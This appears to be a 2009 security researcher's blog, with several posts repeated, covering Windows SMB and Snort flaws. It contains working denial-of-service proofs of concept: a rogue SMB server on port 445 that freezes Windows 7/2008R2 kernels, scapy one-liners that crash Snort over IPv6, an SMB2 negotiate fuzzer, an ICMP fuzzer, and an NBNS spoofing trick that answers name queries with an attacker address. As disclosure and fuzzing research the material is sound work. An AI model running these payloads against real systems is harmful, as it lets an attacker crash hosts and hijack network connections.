An Advisory as been released by Microsoft patching MS10-006.
This vulnerability as been found back in november while testing some client side vulnerability on SMB.
A full advisory regarding the details of this issue is located here
Regarding the SRD statement for smb client possible exploitation i'd like to add & post a small tool abusing netbios name service functionnality.
Ronald Bowes did some great work with nbtool for such purpose.
You can find a small version in python here;
Basicly, anyone on the segment using :
net use \\blabla\share
net view \\blabla\share
dir \\blabla\share
etc
On vista/7/server2008|R2 it's also possible to use start -> search box --> \\existing_machine\share
Any of these command result in a NBNS query asking which IP is using this netbios name
Then this small utility will answer it's at "attacker_IP".
Once the ip resolved, the machine will initiate a smb connection to that IP.
You can also abuse the BROWSER service for same kind of purpose, I will post a full entry when i get some free time ...
Tuesday, February 9, 2010
Sunday, November 22, 2009
Releasing ICMPv4/IP fuzzer prototype
This is a short message to release an IP/ICMPv4 fuzzer, destinated for UTesting, and else.
I'd like to thanks Philippe Biondi for making such a library as scapy
In this example we go deep as layer 3 fuzzing, thanks scapy, we fuzz IP and ICMP by disassembling the packet in bytes, and modifing it, and then joining it and sending back
You can simply capture a ping echo (for example) you sended and then fuzz it, you will need to replace the checksum bytes by 00 00 always, for more information :
http://www.networksorcery.com/enp/protocol/ip.htm
http://www.networksorcery.com/enp/protocol/icmp.htm
You can easily adapt this fuzzer to any kind of networking fuzzing.
Dont forget it's a prototype, and i ASSUME you know what you're doing, do not ask for help.
As blogger is not python friendly: http://pastebin.com/f5c536013
Have fun with this concept :)
#!/usr/bin/python
import random, sys,logging,os
from random import *
from scapy.all import *
logging.getLogger("scapy").setLevel(1)
##fuzzer core##
def onerand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
pack[choice(range(len(packet)))]= byte
print "fuzzing rand byte:%s\n" % (byte.encode("hex"))
return pack
def doublerand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
byte2 = str(chr(choice(range(256))))
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte2
print "fuzzing rand byte:%s byte2:%s\n" % (byte.encode("hex"),byte2.encode("hex"))
return pack
def longrand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
lon = randrange(0,600)
pack[choice(range(len(packet)))]= byte*lon
print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)
return pack
def longerrand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
lon = randrange(0,600)
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte*lon
print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)
return pack
def longerrandnull(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
lon = randrange(0,600)
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte+"\x00"*lon
print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)
return pack
def opnum(packet):
pack = packet[:]
byte = str(chr(choice(range(0,2))))
pack[choice(range(len(packet)))]= byte
print "fuzzing opnum:%s\n" % (byte.encode("hex"))
return pack
def doubleopnum(packet):
pack = packet[:]
byte = str(chr(choice(range(0,2))))
byte2 = str(chr(choice(range(0,2))))
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte2
print "fuzzing opnum:%s et opnum no-2:%s\n" % (byte.encode("hex"),byte2.encode("hex"))
return pack
def remove1(packet):
pack = packet[:]
i = randrange(0, len(pack)-1)
b = pack[:i] + pack[i+1:]
print "remove one char fuzz, removed :%s"%(pack[i].encode("hex"))
return b
def changenull(packet):
pack = packet[:]
null = [i for i in range(len(pack)) if pack[i] == '\x00']
byte = str(chr(choice(range(256))))
pack[choice(null)] = byte
print "replaced one null by a %s"%(byte.encode("hex"))
return pack
def removenull(packet):
pack = packet[:]
null = [i for i in range(len(pack)) if pack[i] == '\x00']
num = choice(null)
del pack[choice(null)]
print "deleted null no-:%s"%(num)
return pack
def randfunc(packet):
func = choice([onerand,doublerand,longrand,longerrand,longerrandnull,removenull,changenull,remove1,doubleopnum,opnum])
print "using %s fuzzing type (HARD)"%(func.__name__)
return func(packet)
def zenfunc(packet):
func = choice([onerand,removenull,changenull,remove1,doubleopnum,opnum])
print "using %s fuzzing type (ZEN)"%(func.__name__)
return func(packet)
##End fuzzer core##
ip = [chr(int(a, 16)) for a in """
4e fe 01 08 00 00 40 00 fa 01 00 00 c0 a8 02 64
c0 a8 02 65 44 24 0d 01 c0 a8 02 64 04 80 30 77
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00""".split()]
icmp = [chr(int(a, 16)) for a in """
08 00 00 00 00 00 00 04 75 54 08 4b 00 00 00 00
04 6b 0d 00 00 00 00 00 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
""".split()]
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
a= length[2:4]
pack = payload[:]
pack[2:4]= a
return pack
def OpIP(packet):
pack = packet[:]
num = str(chr(choice(range(1,9))))
num1 = str(chr(choice(range(0,150))))
#pack[0] = num
#pack[9] = num1
print "fuzzing version OPNUM no-:%s and nh OPNUM no-:%s"%(num.encode("hex"),num1.encode("hex"))
return pack
def OpIcmp(packet):
pack = packet[:]
num = str(chr(choice(range(0,42))))
pack[0] = num
print "fuzzing ICMP OPNUM no-:%s"%(num.encode("hex"))
return pack
##checksum calculation and replacement##
##checksum() ripped from scapy, hard to do better...
def checksum(pkt):
pkt=str(pkt)
s=0
if len(pkt) % 2 == 1:
pkt += "\0"
for i in range(len(pkt)/2):
s = s + (struct.unpack("!H",pkt[2*i:2*i+2])[0])
s = (s >> 16) + (s & 0xffff)
s += s >> 16
return ~s & 0xffff
##/checksum() ripped from scapy, hard to do better...
def add_checksum(packet):
a = struct.pack(">i",checksum(''.join(packet)))
b = a[2:4]
pack = packet[:]
pack[2:4]=b
return pack
def add_ip_checksum(packet):
a = struct.pack(">i",checksum(''.join(packet)))
b = a[2:4]
pack = packet[:]
pack[10:12]=b
return pack
##checksum calculation and replacement##
### snort is an example of hookin' a prog in your fuzzin'
pid = os.system("pidof snort")
while os.system("pidof snort") == pid:
a = longueur(zenfunc(ip)+add_checksum(randfunc(icmp)))
b = ''.join(add_ip_checksum(a))
packet = (Ether(dst="ff:ff:ff:ff:ff:ff",type=0x0800)/b)
print "packet IP:%s\n"%(b.encode("hex"))
sendp(packet)
##enjoy !
I'd like to thanks Philippe Biondi for making such a library as scapy
In this example we go deep as layer 3 fuzzing, thanks scapy, we fuzz IP and ICMP by disassembling the packet in bytes, and modifing it, and then joining it and sending back
You can simply capture a ping echo (for example) you sended and then fuzz it, you will need to replace the checksum bytes by 00 00 always, for more information :
http://www.networksorcery.com/enp/protocol/ip.htm
http://www.networksorcery.com/enp/protocol/icmp.htm
You can easily adapt this fuzzer to any kind of networking fuzzing.
Dont forget it's a prototype, and i ASSUME you know what you're doing, do not ask for help.
As blogger is not python friendly: http://pastebin.com/f5c536013
Have fun with this concept :)
#!/usr/bin/python
import random, sys,logging,os
from random import *
from scapy.all import *
logging.getLogger("scapy").setLevel(1)
##fuzzer core##
def onerand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
pack[choice(range(len(packet)))]= byte
print "fuzzing rand byte:%s\n" % (byte.encode("hex"))
return pack
def doublerand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
byte2 = str(chr(choice(range(256))))
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte2
print "fuzzing rand byte:%s byte2:%s\n" % (byte.encode("hex"),byte2.encode("hex"))
return pack
def longrand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
lon = randrange(0,600)
pack[choice(range(len(packet)))]= byte*lon
print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)
return pack
def longerrand(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
lon = randrange(0,600)
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte*lon
print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)
return pack
def longerrandnull(packet):
pack = packet[:]
byte = str(chr(choice(range(256))))
lon = randrange(0,600)
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte+"\x00"*lon
print "fuzzing rand byte:%s len:%s\n" % (byte.encode("hex"),lon)
return pack
def opnum(packet):
pack = packet[:]
byte = str(chr(choice(range(0,2))))
pack[choice(range(len(packet)))]= byte
print "fuzzing opnum:%s\n" % (byte.encode("hex"))
return pack
def doubleopnum(packet):
pack = packet[:]
byte = str(chr(choice(range(0,2))))
byte2 = str(chr(choice(range(0,2))))
pack[choice(range(len(packet)))]= byte
pack[choice(range(len(packet)))]= byte2
print "fuzzing opnum:%s et opnum no-2:%s\n" % (byte.encode("hex"),byte2.encode("hex"))
return pack
def remove1(packet):
pack = packet[:]
i = randrange(0, len(pack)-1)
b = pack[:i] + pack[i+1:]
print "remove one char fuzz, removed :%s"%(pack[i].encode("hex"))
return b
def changenull(packet):
pack = packet[:]
null = [i for i in range(len(pack)) if pack[i] == '\x00']
byte = str(chr(choice(range(256))))
pack[choice(null)] = byte
print "replaced one null by a %s"%(byte.encode("hex"))
return pack
def removenull(packet):
pack = packet[:]
null = [i for i in range(len(pack)) if pack[i] == '\x00']
num = choice(null)
del pack[choice(null)]
print "deleted null no-:%s"%(num)
return pack
def randfunc(packet):
func = choice([onerand,doublerand,longrand,longerrand,longerrandnull,removenull,changenull,remove1,doubleopnum,opnum])
print "using %s fuzzing type (HARD)"%(func.__name__)
return func(packet)
def zenfunc(packet):
func = choice([onerand,removenull,changenull,remove1,doubleopnum,opnum])
print "using %s fuzzing type (ZEN)"%(func.__name__)
return func(packet)
##End fuzzer core##
ip = [chr(int(a, 16)) for a in """
4e fe 01 08 00 00 40 00 fa 01 00 00 c0 a8 02 64
c0 a8 02 65 44 24 0d 01 c0 a8 02 64 04 80 30 77
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00""".split()]
icmp = [chr(int(a, 16)) for a in """
08 00 00 00 00 00 00 04 75 54 08 4b 00 00 00 00
04 6b 0d 00 00 00 00 00 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
""".split()]
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
a= length[2:4]
pack = payload[:]
pack[2:4]= a
return pack
def OpIP(packet):
pack = packet[:]
num = str(chr(choice(range(1,9))))
num1 = str(chr(choice(range(0,150))))
#pack[0] = num
#pack[9] = num1
print "fuzzing version OPNUM no-:%s and nh OPNUM no-:%s"%(num.encode("hex"),num1.encode("hex"))
return pack
def OpIcmp(packet):
pack = packet[:]
num = str(chr(choice(range(0,42))))
pack[0] = num
print "fuzzing ICMP OPNUM no-:%s"%(num.encode("hex"))
return pack
##checksum calculation and replacement##
##checksum() ripped from scapy, hard to do better...
def checksum(pkt):
pkt=str(pkt)
s=0
if len(pkt) % 2 == 1:
pkt += "\0"
for i in range(len(pkt)/2):
s = s + (struct.unpack("!H",pkt[2*i:2*i+2])[0])
s = (s >> 16) + (s & 0xffff)
s += s >> 16
return ~s & 0xffff
##/checksum() ripped from scapy, hard to do better...
def add_checksum(packet):
a = struct.pack(">i",checksum(''.join(packet)))
b = a[2:4]
pack = packet[:]
pack[2:4]=b
return pack
def add_ip_checksum(packet):
a = struct.pack(">i",checksum(''.join(packet)))
b = a[2:4]
pack = packet[:]
pack[10:12]=b
return pack
##checksum calculation and replacement##
### snort is an example of hookin' a prog in your fuzzin'
pid = os.system("pidof snort")
while os.system("pidof snort") == pid:
a = longueur(zenfunc(ip)+add_checksum(randfunc(icmp)))
b = ''.join(add_ip_checksum(a))
packet = (Ether(dst="ff:ff:ff:ff:ff:ff",type=0x0800)/b)
print "packet IP:%s\n"%(b.encode("hex"))
sendp(packet)
##enjoy !
Wednesday, November 11, 2009
Windows 7 / Server 2008R2 Remote Kernel Crash
This bug is a real proof that SDL FAIL
The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed...
Can be trigered outside the lan via (IE*)
The bug is so basic, it should have been spotted 2 years ago by the SDL if the SDL had ever existed:
netbios_header = struct.pack(">i", len(''.join(SMB_packet))+SMB_packet
(The netbios header provide the length of the incoming smb{1,2} packet)
If netbios_header is 4 bytes smaller or more than SMB_packet, it just blow !
WHAT ?? you gotta be kidding me where's my SDL ?!?
"Most secure Os ever";
What ever your firewall is set to, you can get remotely smashed via IE or even via some broadcasting nbns tricks (no user interaction)
Advisory:
=============================================
- Release date: November 11th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================
I. VULNERABILITY
-------------------------
Windows 7 * , Server 2008R2 Remote Kernel Crash
II. BACKGROUND
-------------------------
..
III. DESCRIPTION
-------------------------
See : http://g-laurent.blogspot.com/ for much more details
#Comment: This bug is specific Windows 7/2008R2.
IV. PROOF OF CONCEPT
-------------------------
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#
import SocketServer
packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")
class SMB2(SocketServer.BaseRequestHandler):
def handle(self):
print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()
launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()
V. BUSINESS IMPACT
-------------------------
An attacker can remotely crash any Windows 7/Server 2008R2
on a LAN or via IE
VI. SYSTEMS AFFECTED
-------------------------
Windows 7, Windowns Server 2008R2
VII. SOLUTION
-------------------------
No patch available for the moment, your vendor do not care.
Close SMB feature and ports, until a real audit is provided.
VIII. REFERENCES
-------------------------
http://blogs.msdn.com/sdl/
IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
X. REVISION HISTORY
-------------------------
November 8th, 2009: MSRC contacted
November 8th, 2009: MSRC acknowledge the vuln
November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn't appears on a security bulletin.
November 11th, 2009: This bug released.
XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed...
Can be trigered outside the lan via (IE*)
The bug is so basic, it should have been spotted 2 years ago by the SDL if the SDL had ever existed:
netbios_header = struct.pack(">i", len(''.join(SMB_packet))+SMB_packet
(The netbios header provide the length of the incoming smb{1,2} packet)
If netbios_header is 4 bytes smaller or more than SMB_packet, it just blow !
WHAT ?? you gotta be kidding me where's my SDL ?!?
"Most secure Os ever";
What ever your firewall is set to, you can get remotely smashed via IE or even via some broadcasting nbns tricks (no user interaction)
Advisory:
=============================================
- Release date: November 11th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================
I. VULNERABILITY
-------------------------
Windows 7 * , Server 2008R2 Remote Kernel Crash
II. BACKGROUND
-------------------------
..
III. DESCRIPTION
-------------------------
See : http://g-laurent.blogspot.com/ for much more details
#Comment: This bug is specific Windows 7/2008R2.
IV. PROOF OF CONCEPT
-------------------------
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#
import SocketServer
packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")
class SMB2(SocketServer.BaseRequestHandler):
def handle(self):
print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()
launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()
V. BUSINESS IMPACT
-------------------------
An attacker can remotely crash any Windows 7/Server 2008R2
on a LAN or via IE
VI. SYSTEMS AFFECTED
-------------------------
Windows 7, Windowns Server 2008R2
VII. SOLUTION
-------------------------
No patch available for the moment, your vendor do not care.
Close SMB feature and ports, until a real audit is provided.
VIII. REFERENCES
-------------------------
http://blogs.msdn.com/sdl/
IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
X. REVISION HISTORY
-------------------------
November 8th, 2009: MSRC contacted
November 8th, 2009: MSRC acknowledge the vuln
November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn't appears on a security bulletin.
November 11th, 2009: This bug released.
XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
Thursday, October 22, 2009
Snort 2.8.5 IPv6 Remote Denial of service
=============================================
- Date: October 22th, 2009
- Discovered by: Laurent Gaffié
- Severity: Low
=============================================
I. VULNERABILITY
-------------------------
Snort <= 2.8.5 IPV6 Remote DoS
II. DESCRIPTION
-------------------------
A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6 crafted packet
To trigger theses bug you need to have compiled snort with the --enable-ipv6 option, and run it in verbose mode (-v)
III. PROOF OF CONCEPT
-------------------------
You can reproduce theses two different bug easily by using the python Low-level networking lib Scapy ( http://www.secdev.org/projects/scapy/files/scapy-latest.zip ):
1) #only works on x86
#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP
2) # works x86,x64
#/usr/bin/env python
from scapy.all import *
z = "Q" * 30
send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(
type=4)/z) #nh1 -> icmp (not v6)
IV. SYSTEMS AFFECTED
-------------------------
Theses proof of concept as been tested on snort:
- 2.8.5
V. NOT AFFECTED
-------------------------
Sourcefire 3D Sensor
VI. SOLUTION
-------------------------
A new version correcting theses issues as been released (2.8.5.1) :
http://www.snort.org/downloads
VII. REFERENCES
-------------------------
http://www.snort.org
http://vrt-sourcefire.blogspot.com/
VIII. REVISION HISTORY
-------------------------
October 14th, 2009: First issue discovered, advisory send to snort team.
October 14th, 2009: Snort security team confirm the bug.
October 16th, 2009: Second issue discovered, advisory send to snort team.
October 20th, 2009: Snort security team confirm the bug.
October 22th, 2009: Snort team release a new version.
IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
- Date: October 22th, 2009
- Discovered by: Laurent Gaffié
- Severity: Low
=============================================
I. VULNERABILITY
-------------------------
Snort <= 2.8.5 IPV6 Remote DoS
II. DESCRIPTION
-------------------------
A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6 crafted packet
To trigger theses bug you need to have compiled snort with the --enable-ipv6 option, and run it in verbose mode (-v)
III. PROOF OF CONCEPT
-------------------------
You can reproduce theses two different bug easily by using the python Low-level networking lib Scapy ( http://www.secdev.org/projects/scapy/files/scapy-latest.zip ):
1) #only works on x86
#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP
2) # works x86,x64
#/usr/bin/env python
from scapy.all import *
z = "Q" * 30
send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(
type=4)/z) #nh1 -> icmp (not v6)
IV. SYSTEMS AFFECTED
-------------------------
Theses proof of concept as been tested on snort:
- 2.8.5
V. NOT AFFECTED
-------------------------
Sourcefire 3D Sensor
VI. SOLUTION
-------------------------
A new version correcting theses issues as been released (2.8.5.1) :
http://www.snort.org/downloads
VII. REFERENCES
-------------------------
http://www.snort.org
http://vrt-sourcefire.blogspot.com/
VIII. REVISION HISTORY
-------------------------
October 14th, 2009: First issue discovered, advisory send to snort team.
October 14th, 2009: Snort security team confirm the bug.
October 16th, 2009: Second issue discovered, advisory send to snort team.
October 20th, 2009: Snort security team confirm the bug.
October 22th, 2009: Snort team release a new version.
IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
Sunday, October 4, 2009
More explication on CVE-2009-3103
This short post is an answer to the many questions i received regarding how i found the smb2 bug.
I said to securityfocus: "this bug was found in 3 seconds and 15 packet with my home made fuzzer"; it's true.
I also pointed at MS lack of S.Q.A on SMB2; it's true.
I was studying SMB and RPC since a while, and all my tests/fuzzing was failure, until i changed my fuzzing approach with SMB2;
Single Network Byte Fuzzing.
So i hardcoded a pretty simple fuzzer (python) for this approach:
----------------------------------------------------------
from socket import *
from time import sleep
from random import choice
host = "IP_ADDR", 445
#Negotiate Protocol Request
packet = [chr(int(a, 16)) for a in """
00 00 00 90
ff 53 4d 42 72 00 00 00 00 18 53 c8 00 00 00 00
00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00
00 6d 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50
52 4f 47 52 41 4d 20 31 2e 30 00 02 4c 41 4e 4d
41 4e 31 2e 30 00 02 57 69 6e 64 6f 77 73 20 66
6f 72 20 57 6f 72 6b 67 72 6f 75 70 73 20 33 2e
31 61 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 4c
41 4e 4d 41 4e 32 2e 31 00 02 4e 54 20 4c 4d 20
30 2e 31 32 00 02 53 4d 42 20 32 2e 30 30 32 00
""".split()]
while True:
#/Core#
what = packet[:]
where = choice(range(len(packet)))
which = chr(choice(range(256)))
what[where] = which
#/Core#
#sending stuff @host
sock = socket()
sock.connect(host)
sock.send(' '.join(what))
sleep(0.1) # dont flood it
print 'fuzzing param %s' % (which.encode("hex"))
print 'complete packet %s' % (''.join(what).encode("hex"))
# When SMB Or RPC die (with TCP), sock get a timed out and die @the last packet, printing these things is more than usefull
sock.close()
----------------------------------------------------------
This simple fuzzer pwned smb2 in 3 seconds.
Nothing special here, no wheel reinvented.
Alot of security gurus were claming that auditing SMB/Netbios/TCP-IP on MS* was a waste of time.
I dont believe in these assumptions, and I definatly prefer to "waste my time"...
Also MSRC and I had a 40 emails discussion, regarding this disclosure and BLAH...
As I said in those emails, if it would've been just a little harder to find, I would've done a coordinated disclosure.
This stupid bug is a good example on how assumptions sucks, and also of how you can't rely on relational marketing. When bugs
like this hits the fan everyone goes WTF, and it gets healthy in the end, for the lambda user. MS performed a code review on SMB2
after which they said :
"For this update, the product team has so far already completed over 10,000 separate test cases in their regression testing.
They are now in stress testing, 3rd-party application testing, and fuzzing. We'd sure like to complete all that testing
before the update needs to be released"
Yep it sounds nice, clean and transparent, but if they would have done this on the MS07-063 patch they would have found this
bug in 3 seconds not in 4 weeks of hardcore fuzzing and this is a fact ;)
Yes Full-Disclosure is usefull, and yes i believe in it.
I said to securityfocus: "this bug was found in 3 seconds and 15 packet with my home made fuzzer"; it's true.
I also pointed at MS lack of S.Q.A on SMB2; it's true.
I was studying SMB and RPC since a while, and all my tests/fuzzing was failure, until i changed my fuzzing approach with SMB2;
Single Network Byte Fuzzing.
So i hardcoded a pretty simple fuzzer (python) for this approach:
----------------------------------------------------------
from socket import *
from time import sleep
from random import choice
host = "IP_ADDR", 445
#Negotiate Protocol Request
packet = [chr(int(a, 16)) for a in """
00 00 00 90
ff 53 4d 42 72 00 00 00 00 18 53 c8 00 00 00 00
00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00
00 6d 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50
52 4f 47 52 41 4d 20 31 2e 30 00 02 4c 41 4e 4d
41 4e 31 2e 30 00 02 57 69 6e 64 6f 77 73 20 66
6f 72 20 57 6f 72 6b 67 72 6f 75 70 73 20 33 2e
31 61 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 4c
41 4e 4d 41 4e 32 2e 31 00 02 4e 54 20 4c 4d 20
30 2e 31 32 00 02 53 4d 42 20 32 2e 30 30 32 00
""".split()]
while True:
#/Core#
what = packet[:]
where = choice(range(len(packet)))
which = chr(choice(range(256)))
what[where] = which
#/Core#
#sending stuff @host
sock = socket()
sock.connect(host)
sock.send(' '.join(what))
sleep(0.1) # dont flood it
print 'fuzzing param %s' % (which.encode("hex"))
print 'complete packet %s' % (''.join(what).encode("hex"))
# When SMB Or RPC die (with TCP), sock get a timed out and die @the last packet, printing these things is more than usefull
sock.close()
----------------------------------------------------------
This simple fuzzer pwned smb2 in 3 seconds.
Nothing special here, no wheel reinvented.
Alot of security gurus were claming that auditing SMB/Netbios/TCP-IP on MS* was a waste of time.
I dont believe in these assumptions, and I definatly prefer to "waste my time"...
Also MSRC and I had a 40 emails discussion, regarding this disclosure and BLAH...
As I said in those emails, if it would've been just a little harder to find, I would've done a coordinated disclosure.
This stupid bug is a good example on how assumptions sucks, and also of how you can't rely on relational marketing. When bugs
like this hits the fan everyone goes WTF, and it gets healthy in the end, for the lambda user. MS performed a code review on SMB2
after which they said :
"For this update, the product team has so far already completed over 10,000 separate test cases in their regression testing.
They are now in stress testing, 3rd-party application testing, and fuzzing. We'd sure like to complete all that testing
before the update needs to be released"
Yep it sounds nice, clean and transparent, but if they would have done this on the MS07-063 patch they would have found this
bug in 3 seconds not in 4 weeks of hardcore fuzzing and this is a fact ;)
Yes Full-Disclosure is usefull, and yes i believe in it.
Monday, September 7, 2009
[Updated]Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: High
=============================================
I. VULNERABILITY
-------------------------
Windows Vista, Server 2008 < R2, 7 RC :
SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
II. BACKGROUND
-------------------------
Windows vista and newer Windows comes with a new SMB version named SMB2.
See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.
III. DESCRIPTION
-------------------------
[Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue:
KB942624 (MS07-063)
Installing only this specific update on Vista SP0 create the following issue:
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality.
